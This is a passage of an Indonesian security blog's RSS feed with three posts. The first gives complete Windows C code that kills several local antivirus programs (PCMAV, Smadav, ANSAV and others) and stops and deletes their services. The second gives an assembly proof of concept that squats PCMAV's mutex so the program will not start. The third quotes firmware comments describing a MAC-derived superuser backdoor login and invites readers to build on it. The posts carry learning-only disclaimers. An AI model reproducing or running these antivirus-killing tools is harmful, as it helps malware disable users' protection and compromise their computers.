<pre>
/**
 * source code ini hanya untuk tujuan pembelajaran
 * TKP Crew tidak bertanggungjawab atas penggunaan
 * dan/atau penyalahgunaan source code ini.
 * USE AT YOUR OWN RISK. PERIOD
 */

#define WIN32_LEAN_AND_MEAN
#include &lt;windows.h&gt;
#include &lt;winsvc.h&gt;

#ifdef _MSC_VER
#pragma comment(lib,"kernel32")
#pragma comment(lib,"advapi32")
#pragma comment(lib,"user32")
#pragma comment(lib,"msvcrt")
#pragma comment(linker,"/entry:main /subsystem:windows")
#endif

#define VB_MAIN "ThunderRT6Main"
#define VB_FORM "ThunderRT6FormDC"

struct {
  char *szcls;
  char *szcap;
} targets[] = {
  {VB_MAIN, "Morphost"},                    /* morphost */
  {VB_FORM, "autodetect"},                  /* morphost rtp */
  {VB_FORM, "Sys Tray Interface"},          /* smadav rtp */
  {"TFAdvMenu", "PCMAV Advanced Options"},  /* pcmav*/
  {"TFScanRD", "FScanRD"},                  /* pcmav rtp */
  {VB_FORM, "Configuration Settings"},      /* sven7 */
  {VB_FORM, "Ganti Warna"},                 /* FS-2 */
  {"#32770", "$FS-2$"},                     /* FS-2 rtp */
  {"ansav#2194", "ANSAV - BETA"},           /* ansav */
}, victim;

void
unreg_svc()
{
  int i;
  SC_HANDLE hSvc1, hSvc2;
  SERVICE_STATUS svc_stat;
  const char *szsvc[] = {"PCMAVRTPService", "ANSAVDaemon"};

  for (i =0; i &lt; 2; i++)
  {
    if ((hSvc1 = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)) != NULL)
    {
      if ((hSvc2 = OpenService(hSvc1, szsvc[i], SERVICE_ALL_ACCESS)) != NULL)
      {
        ControlService(hSvc2, SERVICE_CONTROL_STOP, &#038;svc_stat);
        DeleteService(hSvc2);
        CloseServiceHandle(hSvc2);
      }
      CloseServiceHandle(hSvc1);
    }
  }
}

BOOL
CALLBACK enum_proc(HWND hwnd, LPARAM lpar)
{
  int i;
  DWORD dwpid;
  HANDLE hproc;
  static char szcls[50];
  static char szcap[50];

  GetClassName(hwnd, szcls, sizeof(szcls)-1);
  GetWindowText(hwnd, szcap, sizeof(szcap)-1);

  for (i = 0; i &lt; sizeof(targets)/sizeof(victim); i++)
  {
    if (strstr(targets[i].szcls, szcls) &#038;&#038; strstr(targets[i].szcap, szcap))
    {
      GetWindowThreadProcessId(hwnd, &#038;dwpid);
      if ((hproc = OpenProcess(PROCESS_TERMINATE, 0, dwpid)) != NULL)
      {
        TerminateProcess(hproc, 0);
        CloseHandle(hproc);
      }
      break;
    }
  }
  return 1;
}

void
main()
{
  __try {
    EnumWindows(enum_proc, 0);
    unreg_svc();
    MessageBox (NULL, "test antivirus lokal", "TKP", MB_OK | MB_ICONINFORMATION);
  }
  __except (EXCEPTION_EXECUTE_HANDLER) {
    ExitProcess(1);
  }
  ExitProcess(0);
}
</pre>
]]></content:encoded>
			<wfw:commentRss>http://xtremenitro.org/2010/06/02/iseng-test-antivirus-lokal.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Mengenal Lebih Jauh PCMAV v3.0</title>
		<link>http://xtremenitro.org/2010/03/24/mengenal-lebih-jauh-pcmav-v3-0.html</link>
		<comments>http://xtremenitro.org/2010/03/24/mengenal-lebih-jauh-pcmav-v3-0.html#comments</comments>
		<pubDate>Wed, 24 Mar 2010 12:39:19 +0000</pubDate>
		<dc:creator>drubicza</dc:creator>
				<category><![CDATA[Antivirus]]></category>
		<category><![CDATA[Programming & Scripting]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[disable]]></category>
		<category><![CDATA[mutex]]></category>
		<category><![CDATA[pcmav]]></category>
		<category><![CDATA[ragnarok]]></category>

		<guid isPermaLink="false">http://xtremenitro.org/?p=1653</guid>
		<description><![CDATA[Disclaimer Artikel ini hanya untuk tujuan pembelajaran semata. Penulis tidak bertanggungjawab atas penggunaan maupun penyalahgunaan artikel ini. Use at your own risk. Pendahuluan PCMAV atau PCMedia Antivirus adalah salah satu antivirus yang banyak digunakan di Indonesia. Namun, ada cara sederhana untuk mencegah antivirus tersebut untuk dieksekusi, yaitu dengan menggunakan mutex. Saya tidak akan menjelaskan apa [...]]]></description>
			<content:encoded><![CDATA[<p><b>Disclaimer</b><br/><br />
Artikel ini hanya untuk tujuan pembelajaran semata. Penulis tidak bertanggungjawab atas penggunaan maupun penyalahgunaan artikel ini. Use at your own risk.<br/><br />
<b>Pendahuluan</b><br/><br />
PCMAV atau PCMedia Antivirus adalah salah satu antivirus yang banyak digunakan di Indonesia. Namun, ada cara sederhana untuk mencegah antivirus tersebut untuk dieksekusi, yaitu dengan menggunakan mutex. Saya tidak akan menjelaskan apa itu mutex, jadi silakan cari sendiri artinya dan fungsinya.<br/><br />
<b>Langkah-langkah</b><br/><br />
Untuk PoC kali ini, kita akan menggunakan Process Explorer dari sysinternals dan Fasm untuk membuat contoh aplikasi yang dapat mencegah PCMAV agar tidak berjalan sebagaimana mestinya (pada artikel ini digunakan PCMAV v3.0 aka ragnarok). Langsung saja, jalankan PCMAV lalu diikuti dengan menjalankan Process Explorer. Perhatikan panel bagian bawah pada Process Explorer, maka akan terlihat mutex PCMAV seperti pada gambar berikut ini:<br/><br />
<center><img src="http://xtremenitro.org/wp-content/uploads/2010/03/pcmav-00.png"></center><br/><br />
Tutup (close) PCMAV, lalu salin kode berikut ini ke Fasm, dan build dengan menekan F9<br/></p>
<pre>
format PE GUI 4.0
include 'win32a.inc'

invoke CreateMutex,0,0,szmutex
invoke Sleep,-1
invoke ExitProcess,0 ; untuk estetika...

szmutex db 'AAC3007F66FD3D85E3727EC54C2DC746',0

data import
library kernel32,'kernel32.dll',user32,'user32.dll'
import kernel32,CreateMutex,'CreateMutexA',ExitProcess,'ExitProcess',Sleep,'Sleep'
end data
</pre>
<p>Aplikasi PoC tersebut akan berjalan di-<i>background</i>, dan selama aplikasi tersebut berjalan, maka PCMAV v3 tidak akan dapat berjalan sebagaimana mestinya. Hal tersebut terjadi, karena PCMAV mengira bahwa dirinya telah dieksekusi/dijalankan. Sederhana bukan? nah, silakan bereksperimen.<br/><br />
<b>Penutup</b><br/><br />
Sekian dulu artikel singkat kali ini, semoga bermanfaat, i&#8217;ll see you in another tutorial. Terima kasih kepada: Tuhan Yang Maha Esa, TKP Crew, HSN members, Anya, and You ;)<br/><br />
<b>Referensi</b><br/><br />
[*] <a href="http://www.flatassembler.net/download.php">Flat assembler (FASM)</a><br/><br />
[*] <a href="http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx">Process Explorer</a><br/></p>
]]></content:encoded>
			<wfw:commentRss>http://xtremenitro.org/2010/03/24/mengenal-lebih-jauh-pcmav-v3-0.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Hal Menarik Pada Embedded Firmware</title>
		<link>http://xtremenitro.org/2009/12/19/hal-menarik-pada-embedded-firmware.html</link>
		<comments>http://xtremenitro.org/2009/12/19/hal-menarik-pada-embedded-firmware.html#comments</comments>
		<pubDate>Fri, 18 Dec 2009 20:58:26 +0000</pubDate>
		<dc:creator>drubicza</dc:creator>
				<category><![CDATA[Networking & Server]]></category>
		<category><![CDATA[Programming & Scripting]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[embedded]]></category>
		<category><![CDATA[firmware]]></category>

		<guid isPermaLink="false">http://xtremenitro.org/?p=1597</guid>
		<description><![CDATA[Bagi rekan-rekan yang sering mengutak-atik source code firmware untuk embedded system, mungkin pernah menemukan hal menarik seperti ini :D /* password.c * backdoor(): * A mechanism that allows a password to be generated based on the * MAC address of the board... * * Return 1 if the password matches the return of crypt(KEY,SALT). * [...]]]></description>
			<content:encoded><![CDATA[<p>Bagi rekan-rekan yang sering mengutak-atik source code firmware untuk embedded system, mungkin pernah menemukan hal menarik seperti ini :D</p>
<pre>
/* password.c
 * backdoor():
 * A mechanism that allows a password to be generated based on the
 * MAC address of the board...
 *
 * Return 1 if the password matches the return of crypt(KEY,SALT).
 * Where:
 *      KEY is an 8-character string created from the MAC address
 *              stored in the ETHERADD environment variable;
 *      SALT is a 2-character string made up of the first and last
 *              character of the ETHERADD env var;
 */
</pre>
<p>&#8230;</p>
<pre>
/* maccrypt.c:
 * This tool uses the UNIX password encryption function (crypt()) to
 * encrypt a MAC address.  Encryption of a MAC address is used to
 * provide a back door entry into embedded systems that require
 * login/password to access the system.  The backdoor is provided to
 * support the possibility of a customer losing their password...
 *
 * Each system has some "backdoor" username (for example, 'lucent_su')
 * that violates the acceptable syntax of a normal username.  This
 * eliminates the possibility of a customer attempting to use the same
 * username as our backdoor username.  Each time a login is attempted,
 * the username is first compared to the backdoor username, if it
 * matches, and the password matches the encryption of that system's MAC
 * address, then the login is approved with superuser priveledges.  If
 * the username is NOT the backdoor username, then all normal login
 * restrictions apply.
 */
</pre>
<p>
Nah, silakan rekan-rekan kembangkan sendiri ;)</p>
]]></content:encoded>
			<wfw:commentRss>http://xtremenitro.org/2009/12/19/hal-menarik-pada-embedded-firmware.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

